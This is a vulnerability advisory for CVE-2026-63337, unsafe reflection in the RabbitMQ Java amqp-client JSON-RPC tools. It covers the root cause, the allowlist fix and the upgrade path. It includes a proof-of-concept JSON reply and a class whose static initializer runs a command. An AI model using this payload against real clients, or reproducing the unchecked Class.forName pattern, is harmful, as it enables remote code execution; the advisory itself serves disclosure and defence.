CVE-2026-63337: RabbitMQ amqp-client Unsafe Reflection via JSON-RPC javaReturnType
A malicious RabbitMQ broker or co-tenant can send a crafted JSON-RPC service description that causes the Java client to load and initialize arbitrary classes on the victim's JVM, potentially…

The problem
The JSON-RPC tools in com.rabbitmq.tools.jsonrpc pass the javaReturnType field, received from an untrusted AMQP message, directly to Class.forName() with initialize=true and no allowlist check.
When a JsonRpcClient calls system.describe, the server response controls javaReturnType. An attacker who controls the broker, shares a multi-tenant broker, or can perform a MITM on the AMQP channel can inject any class name. Java's Class.forName() with initialize=true runs the class's static initializers immediately, turning class loading into remote code execution.
Proof of concept
A working proof-of-concept for CVE-2026-63337 in com.rabbitmq:amqp-client, with the exact payload below.
// Attacker-controlled system.describe reply over AMQP:
{
"id": 1,
"result": {
"name": "myService",
"id": "urn:uuid:evil",
"summary": "pwn",
"procs": [
{
"name": "doSomething",
"params": [],
"return": {
"name": "return",
"type": "str",
"javaReturnType": "com.example.MaliciousClass"
},
"summary": ""
}
]
}
}
// Victim-side effect when JSONUtil.tryFill() processes the response:
// ProcedureDescription.setJavaReturnType("com.example.MaliciousClass")
// -> computeReturnTypeAsJavaClass()
// -> Class.forName("com.example.MaliciousClass", true, classLoader)
// ^^ initialize=true fires static initializer on victim JVM
public class MaliciousClass {
static {
Runtime.getRuntime().exec("calc.exe"); // executes in victim JVM
}
}The root cause is CWE-470: use of externally-controlled input to select classes. ProcedureDescription.java calls Class.forName(javaReturnType) with the default initialize=true, meaning any class on the victim's classpath can have its static block executed purely by naming it in the AMQP response JSON.
The patch (PRs #2000 and #2002, commit 0032f75) introduced an allowlist of permitted return types. Only class names on that allowlist can pass through to Class.forName, so arbitrary attacker-supplied names are rejected before reflection occurs.
The loaded class reference is also passed to mapper.parse() at JsonRpcClient.java:168, making this a potential type-confusion path as well, but the static initializer execution is the primary RCE vector.
The fix
Upgrade com.rabbitmq:amqp-client to 5.33.0 or later. The fix adds an allowlist for permitted javaReturnType class names in ProcedureDescription; class names not on the allowlist are rejected before Class.forName is called. If you cannot upgrade immediately, avoid using JsonRpcClient against untrusted or shared brokers.
Related research
- highCVE-2026-69220CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables
- highCVE-2026-69219CVE-2026-69219: RabbitMQ Java Client Unchecked LongString Allocation DoS
- high · 7.1CVE-2026-55153CVE-2026-55153: mchange-commons-java Unsafe Reflection via JavaBeanObjectFactory
- critical · 9.8CVE-2026-62379CVE-2026-62379: OpenAM Unauthenticated Remote Code Execution via Unsafe Reflection in AuthXMLUtils